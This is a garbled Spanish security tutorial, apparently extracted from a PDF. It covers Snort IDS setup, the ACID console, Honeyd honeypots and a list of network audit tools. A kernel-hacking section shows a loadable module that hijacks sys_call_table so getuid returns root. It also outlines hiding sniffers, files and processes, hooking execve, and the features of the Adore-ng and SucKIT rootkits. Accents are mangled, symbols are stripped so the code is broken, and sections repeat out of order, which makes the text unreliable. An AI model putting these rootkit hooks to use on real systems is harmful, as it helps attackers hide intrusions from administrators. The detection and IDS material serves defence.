var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 25: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

